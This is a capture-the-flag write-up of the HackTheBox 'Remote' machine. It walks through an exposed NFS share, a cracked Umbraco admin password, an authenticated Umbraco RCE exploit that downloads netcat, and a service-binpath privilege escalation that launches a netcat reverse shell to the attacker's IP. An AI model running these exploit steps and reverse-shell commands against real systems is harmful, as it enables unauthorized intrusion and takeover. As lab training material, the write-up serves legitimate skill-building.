Remote 10.10.10.180

It doesn’t matter how many times you get knocked down. All that matters is you get up one more time than you were knocked down. <Roy T. Bennett0 May 2020>

Background
Remote is a Windows machine from HackTheBox, that is focusing on the CVE exploitation technique, for training your ethical hacking skills and penetration testing skills. 
According to the nmap result, a website is found that installed a vulnerable version of Umbraco CMS and an mountdnfs service is enabled. It can be exploited after we find the credentials from an exposed NFS share. A login credential is found at a file that saves in this NFS share, the credential can be used to log into the Umbraco CMS. An authenticated Umbraco CMS exploitation is found to gain initial access. 
Based on the result of the WinPEAS,  there is a possible local privilege escalation vector on a full access service named UsoSvc. Modifying the binpath of the service return the reverse shell with administrator privilege.

An administrative page is found, we cannot log into the system using some default accounts such as admin/admin. Move to next for further checking. 
NFS - 2049
Using showmounttool to check which NFS share is accessible by who
The site_backupsis available to mount and is accessible to everyone, let’s mount it and further enumerate.
Check the folder one by one and found that  a file named mbraco.sdfinside the folder/App_Data which contains credentials at the top of the file.
strings Umbraco.sdf | head
Administratoradmindefaulten-US
Administratoradmindefaulten-USb22924d5-57de-468e-9df4-0961cf6aa30d
Administratoradminb8be16afba8c314ad33d812f22a04991b90e2aaa{"hashAlgorithm":"SHA1"}en-USf8512f97-cab1-4a4b-a49f-0a2054c47a1d
[email protected]{"hashAlgorithm":"SHA1"}[email protected]
[email protected]{"hashAlgorithm":"SHA1"}[email protected]
​
Crack the password which SHA1 hash b8be16afba8c314ad33d812f22a04991b90e2aaausing an online hash decrypting service. Finally, get the credentials user id: [email protected] and password baconandcheese
Hacking Process Part 2 – Initial Low Privilege Access
Let login to Umbraco CMS with the credentials found [email protected] / baconandcheese.
Just checked the version is Umbraco 7.12.4, google any vulunerability found at the exploit DB.
This version suffers from an authenticated remote code execution vulnerability. Download the exploit and modify the login details as below.
...
login = "[email protected]";
password="baconandcheese";
host = "http://10.10.10.180";
...
In order to get the reversed TCP shell,  the payload is changed to download a netcat 64 bits Windows version.
Next, stand up a listener on port 80 and run the exploit. 
Change the payload again to start the reversed TCP shell to my Kali machine
Start the listening port at my Kali machine, the reverse shell is returned.
The user flag can be found in the C:\Users\Public folder. 
Hacking Process Part 3 – Privilege Escalation
Start from gathering the system information  
whoami /priv
systeminfo
Result of the winPEAS.exe, discover possible local privilege escalation vectors, shows the full access of a service named as UsoSvC
[+] Modifiable Services
   [?] Check if you can modify any service https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#services
    LOOKS LIKE YOU CAN MODIFY SOME SERVICE/s:
    UsoSvc: AllAccess, Start
Because of the full access to UsoSvc service, we can modify the binpath of the service and pop us a reverse shell.
sc.exe stop UsoSvc
sc config UsoSvc binpath= "C:\windows\temp\nc.exe -nv 10.10.14.6 1235 -e C:\WINDOWS\System32\cmd.exe"
sc.exe qc usosvc
Recommendation
Several known vulnerability is found on this box that makes us can finish the game easily. It is told us that system patching is the most important preventive action to defect cyber attack.
